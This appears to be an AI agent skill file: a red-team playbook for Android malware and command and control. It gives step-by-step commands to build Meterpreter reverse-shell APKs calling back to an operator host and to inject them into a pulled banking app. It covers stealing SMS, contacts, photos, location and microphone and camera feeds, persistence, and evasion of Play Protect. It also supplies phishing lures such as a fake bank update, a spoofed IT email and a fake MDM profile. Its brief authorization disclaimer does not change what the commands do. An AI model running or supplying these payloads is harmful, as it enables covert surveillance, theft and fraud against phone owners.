---
name: rt-mobile-malware-c2
description: "Mobile C2 implants and malware delivery — msfvenom Android APK payloads, Metasploit android/meterpreter sessions, TheFatRat APK generation, AhMyth RAT, persistence on Android (boot receiver, service), payload delivery via phishing/QR code. For authorized red team demonstrations of mobile malware threats. Docker: rtexit/kali:v3.1 has msfvenom pre-installed."
---

> 🐳 **Docker Environment (Recommended):** `docker exec -it rtexit-kali bash`

# rt-mobile-malware-c2 — Android Payload & C2 for Red Team

## Overview

Mobile malware is a key threat scenario for enterprise red teams — demonstrating that a malicious APK can achieve persistent access, credential theft, and lateral movement from an employee's device. All techniques here are for authorized penetration testing only.

**When to use:**
- Demonstrate impact of phishing → APK installation
- Show MDM bypass or sideloading risk
- Test mobile endpoint detection (MDM, anti-malware)
- Simulate advanced persistent threat on mobile fleet

---

## Method 1: msfvenom Basic Android Payload

```bash
docker exec rtexit-kali bash -c "
# Generate standalone Android backdoor APK
msfvenom \
  -p android/meterpreter/reverse_https \
  LHOST=192.168.200.10 \
  LPORT=443 \
  -o /tmp/backdoor.apk

# Start handler
msfconsole -q -x '
use exploit/multi/handler
set payload android/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 443
set ExitOnSession false
exploit -j
'
"
```

---

## Method 2: Inject Payload into Legitimate App (Stealth)

```bash
docker exec rtexit-kali bash -c "
# Inject into a real app (much less suspicious than standalone backdoor)
# Pull target app from device or download APK
adb shell pm list packages | grep -i 'whatsapp\|banking\|company'

APP_PATH=\$(adb shell pm path com.target.banking | cut -d: -f2 | tr -d '\r')
adb pull \$APP_PATH /tmp/banking.apk

# Inject Meterpreter into it
msfvenom \
  -x /tmp/banking.apk \
  -p android/meterpreter/reverse_https \
  LHOST=192.168.200.10 LPORT=443 \
  -o /tmp/banking_infected.apk

# Sign
java -jar /opt/uber-apk-signer.jar -a /tmp/banking_infected.apk --out /tmp/signed/

# Deliver to victim via phishing
"
```

---

## Method 3: Advanced Payload — Persistence + Stealth

```bash
docker exec rtexit-kali bash -c "
# HTTPS payload with certificate (more resilient)
# Generate self-signed cert for C2
openssl req -new -x509 -days 3650 -nodes \
  -out /tmp/c2.crt -keyout /tmp/c2.key \
  -subj '/CN=update.microsoft.com'

# Generate payload with custom cert
msfvenom \
  -p android/meterpreter/reverse_https \
  LHOST=update.microsoft.com \
  LPORT=443 \
  HandlerSSLCert=/tmp/c2.key \
  StagerVerifySSLCert=true \
  -o /tmp/persistent.apk

# Handler with cert
msfconsole -q -x '
use exploit/multi/handler
set payload android/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 443
set HandlerSSLCert /tmp/c2.key
set StagerVerifySSLCert true
exploit -j
'
"
```

---

## Method 4: Meterpreter Post-Exploitation

```bash
# Once session is established (meterpreter android session):
docker exec rtexit-kali bash -c "
msfconsole -q
# use session
# sessions -i 1

# Core Android commands:
# dump_sms                    → steal all SMS messages
# dump_contacts               → steal all contacts
# dump_calllog                → call history
# geolocate                   → get GPS location
# wlan_geolocate              → location via WiFi triangulation
# record_mic -d 30            → record microphone 30 seconds
# webcam_snap                 → take photo
# webcam_stream               → live camera stream
# check_root                  → is device rooted?
# activity_start              → launch any app/activity
# hide_app_icon               → make icon disappear (persistence)

# File system:
# download /sdcard/DCIM/      → steal photos
# download /sdcard/Documents/
# shell → interactive adb shell with app permissions

# Persistence (survives reboot):
# run post/android/manage/autorun
"
```

---

## Method 5: AhMyth RAT — GUI-Based

```bash
docker exec rtexit-kali bash -c "
# AhMyth: easier GUI for generating and managing Android RATs
git clone https://github.com/AhMyth/AhMyth-Android-RAT /opt/AhMyth 2>/dev/null

# Or download release
# AhMyth is an Electron app — run on host machine
# It generates APKs and provides GUI C2 panel

# Binds to port 42474 by default
# Features: SMS, contacts, camera, mic, location, file manager
"
```

---

## Method 6: Delivery Methods

```bash
# 1. QR Code delivery
docker exec rtexit-kali bash -c "
# Host APK on HTTPS server
python3 -m http.server 8443 --directory /tmp/signed/ &

# Generate QR code pointing to APK download
pip3 install qrcode 2>/dev/null
python3 -c \"
import qrcode
qr = qrcode.make('http://192.168.200.10:8443/banking_infected-aligned-debugSigned.apk')
qr.save('/tmp/qr_payload.png')
print('QR code saved to /tmp/qr_payload.png')
\"
adb pull /tmp/qr_payload.png .
"
```

```bash
# 2. SMS/WhatsApp phishing link
# Host APK at convincing URL (via domain fronting or redirector)
# Message: 'Your banking app needs a security update. Download: http://updates-bank.com/app.apk'

# 3. Email attachment (disguised)
# Rename .apk to .pdf.apk or use display name tricks
# Email from spoofed IT department

# 4. MDM enrollment trick
# Create fake enterprise enrollment profile
# Employee installs 'IT security app' which is actually payload
```

---

## Method 7: Android Persistence Mechanisms

```bash
# After gaining access via meterpreter:
docker exec rtexit-kali bash -c "
# In meterpreter session:
# Method 1: boot_persist (installs receiver for BOOT_COMPLETED)
# run post/android/manage/autorun

# Method 2: Job scheduler (Android 5+) — survives app kill
# Scheduled via JobScheduler API — app re-launches every 15min

# Method 3: Accessibility Service
# If user grants accessibility permission → app can read all screen content
# And re-launch itself
"
```

---

## Method 8: Bypass Android Malware Detection

```bash
docker exec rtexit-kali bash -c "
# Obfuscate payload to bypass Play Protect / mobile AV

# Method 1: Encrypt payload
msfvenom \
  -p android/meterpreter/reverse_https \
  LHOST=192.168.200.10 LPORT=443 \
  -e x86/shikata_ga_nai -i 5 \
  -o /tmp/obfuscated.apk

# Method 2: Use TheFatRat for better evasion
git clone https://github.com/Screetsec/TheFatRat /opt/TheFatRat 2>/dev/null
cd /opt/TheFatRat && chmod +x setup.sh && ./setup.sh
# thefatrat → option 6 → Create FUD APK

# Method 3: Custom loader
# Use apktool to inject payload as separate dex file
# Dynamically load it at runtime via DexClassLoader
# Harder for static scanners to detect
"
```

---

## OPSEC Notes

```
After red team exercise:
☐ Remove all implants from test devices
☐ Confirm no callbacks to C2 infrastructure
☐ Document: devices affected, data accessed, permissions obtained
☐ Provide full uninstall procedure to client
☐ Delete payload APKs from distribution servers
```

---

## Related Skills
- `rt-apk-repackaging` — inject payload into legitimate APK
- `rt-exploit-android` — full Android methodology
- `rt-exploit-phishing` — deliver APK via phishing campaign
- `rt-c2-operations` — manage C2 infrastructure

## References
- https://attack.mitre.org/techniques/T1476/ — Deliver Malicious App via Authorized App Store
- https://attack.mitre.org/techniques/T1444/ — Masquerade as Legitimate Application
- https://github.com/AhMyth/AhMyth-Android-RAT
